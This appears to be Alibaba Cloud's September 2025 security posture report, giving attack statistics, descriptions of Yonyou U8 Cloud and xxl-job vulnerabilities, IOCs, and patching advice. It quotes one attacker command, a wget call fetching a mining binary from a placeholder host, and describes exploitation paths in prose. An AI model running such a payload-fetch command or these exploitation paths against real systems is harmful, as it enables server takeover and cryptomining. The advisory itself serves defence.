Cloud Security Posture Report - September 2025

1. Platform attack and defense posture

Default defense level of the cloud platform

Daily average for September 2025

• Attacks defended: 7.01 billion, a 51.7% increase from August.

• Attacking IP addresses defended: 27,000, a 3.4% increase from August.

DDoS attack interception

In September, the Alibaba Cloud platform detected and intercepted the following:

• DDoS attacks: 88,000, a 129% increase from August.

• Peak DDoS attack traffic: 2300 Gbps, a 43.8% increase from August.

2. Recent attack methods and trends

Trend 1: Yonyou U8 Cloud discloses important vulnerabilities that can lead to server compromise

(1) Vulnerability details

NCCloudGatewayServlet remote command execution vulnerability (AVD-2025-1821638) The NCCloudGatewayServlet interface in Yonyou U8 Cloud has a critical design flaw. The server-side does not validate the class and method names provided by the user. An attacker can exploit this flaw using Java reflection to invoke arbitrary dangerous methods, leading to remote command execution (RCE) on the server.

This vulnerability affects the following versions:

• 2.0, 2.1, 2.3, 2.5, 2.6, 2.7, 2.65

• 3.0, 3.1, 3.2, 3.5, 3.6, 3.6sp

• 5.0, 5.0sp, 5.1, 5.1sp

IPFxxFileService arbitrary file upload vulnerability (AVD-2025-1818190) The IPFxxFileService file upload interface in Yonyou U8 Cloud does not effectively validate file types or content. An attacker can bypass these restrictions to upload executable script files, such as JSP or WAR files, and gain full control of the web application server.

This vulnerability affects the following versions:

• 2.0, 2.1, 2.3, 2.5, 2.6, 2.65, 2.7

• 3.0, 3.1, 3.2, 3.5, 3.6

• 5.0, 5.0sp, 5.1, 5.1sp

(2) Potential threats

1. Remote control and data breach: By exploiting these vulnerabilities, an attacker can gain full control of the server that hosts the U8 Cloud application. This allows them to steal sensitive business data, such as financial records, customer information, and inventory data.

2. Cryptomining and resource abuse: An attacker might deploy mining programs, such as xmrig and xmr. This can exhaust CPU resources, cause system stuttering, and increase cloud costs. This activity can also cause the server to shut down.

3. Ransomware delivery: An attacker might deploy ransomware to encrypt core business data and demand a ransom. This can cause business interruptions and significant financial losses.

(3) Security recommendations

The Alibaba Cloud security team has detected multiple automated attack events targeting these vulnerabilities. These attacks are highly active and pose a significant threat. If you use the Yonyou U8 Cloud application, follow these recommendations:

• Immediately check if your software version is affected.

• Alternatively, you can use the Application Vulnerability Scan feature in Security Center Enterprise Edition to proactively scan your system for these vulnerabilities.

If you confirm that your version is affected or a scan detects these vulnerabilities, take the following steps to fix them immediately:

1. Install official security patches

   1. Patch for the command execution vulnerability: https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c

   2. Patch for the arbitrary file upload vulnerability: https://security.yonyou.com/#/patchInfo?identifier=d791e304136648d5a3cf36bcda869690

2. Temporary mitigation (if you cannot upgrade immediately)

   1. You can use Cloud Firewall or security group policies to restrict access to the U8 Cloud management console and interfaces. Allow access only from the internal network or specified O&M IP addresses.

   2. You can use Web Application Firewall (WAF) to restrict external access to the NCCloudGatewayServlet interface.

Trend 2: Hacker groups exploit xxl-job remote code execution vulnerability for large-scale cryptomining

xxl-job is an open source Distributed Task Scheduling Platform. It is often used in enterprises to schedule background tasks, such as data synchronization and report generation. The platform consists of a scheduling center and executors. xxl-job has several known security vulnerabilities, including Server-Side Request Forgery (SSRF) and default key bypass. Hacker groups can exploit these vulnerabilities to gain host permissions and then download and deploy mining programs.

(1) Attack method

1. Vulnerability exploitation: Attackers first exploit multiple important vulnerabilities in the xxl-job scheduling platform.

   1. Unauthorized access due to default accessToken (AVD-2023-1678172): By default, xxl-job uses a fixed accessToken instead of a randomly generated one. If an administrator does not change this value, an attacker can use the default key to bypass authentication, invoke the executor interface, and execute arbitrary system commands. This leads to RCE.

   2. Privilege escalation via SSRF vulnerability (CVE-2024-24113): An attacker with a low-privilege account can use the /jobinfo/trigger interface to trigger an SSRF vulnerability. This allows them to send requests to internal services, steal a high-privilege accessToken, and gain full control of the executor. This vulnerability affects all versions of xxl-job up to and including 2.4.2.

2. Deliver malicious scheduling tasks: Once in control of an executor, the attacker uses the scheduling center to deliver a task that contains system commands. For example, they can execute wget http://x.x.x.x:x/xmr to download a malicious mining program named /xmr from a remote server.

(2) IOCs

• File hash (MD5): 521cc9595a6fed1b19781da268cc7db9

• Malicious IP addresses: 182.243.123.52, 117.191.227.114

(3) Security recommendations

The Alibaba Cloud security team has recently detected hacker groups exploiting xxl-job vulnerabilities to attack cloud hosts and deliver mining programs. To prevent these threats, take the following measures immediately:

1. Fix existing vulnerabilities

   1. Change the default accessToken: Check and replace the default key (such as xxl-jobAccessToken) in the xxl-job configuration with a strong, random string. You can use the Application Vulnerability Scan feature in Security Center Enterprise Edition to automatically detect unauthorized access risks.

   2. Upgrade to a secure version: Immediately upgrade xxl-job to version 2.4.3 or later to fix the SSRF vulnerability (CVE-2024-24113) and other important vulnerabilities.

2. Temporary mitigation (if you cannot upgrade immediately)

   1. You can use Cloud Firewall or security group policies to enable an IP address whitelist for the xxl-job scheduling center and executors. This lets you block Direct Internet Access and allow connections only from trusted O&M IP addresses.

In addition, Alibaba Cloud notifies you of these vulnerabilities and potential intrusions in the following ways:

• Abnormal intrusion alerts:
  If the system detects suspicious intrusion behavior on your assets (such as abnormal command execution, malicious file downloads, the startup of mining processes, or ransomware infections), Alibaba Cloud sends you a real-time security alert by email, voice call, text message, and internal message. When you receive a notification, you must immediately investigate and handle the threat to prevent it from spreading.
  

• Important vulnerability inspection reminders:
  For important vulnerabilities that are being widely exploited (such as those in xxl-job), Alibaba Cloud regularly performs security inspections on the cloud. Alibaba Cloud then sends targeted repair recommendations to affected users. When you receive a notification, you must complete the patch update or apply temporary fixes as soon as possible to reduce the risk of an attack.
  

3. Recently and frequently attacked vulnerabilities

Based on attack data analytics, the Alibaba Cloud security team has identified the vulnerabilities that are most frequently scanned and exploited on the cloud. If your assets are exposed to these threats, you must promptly detect and fix the vulnerabilities or implement protective measures.

Free detection is available for some of these vulnerabilities. You can go to the Alibaba Cloud Security Control console and enable the free security assessment to quickly detect related emergency vulnerabilities. For more comprehensive detection, you can use Security Center Enterprise Edition to perform in-depth scans and continuous monitoring for these application vulnerabilities.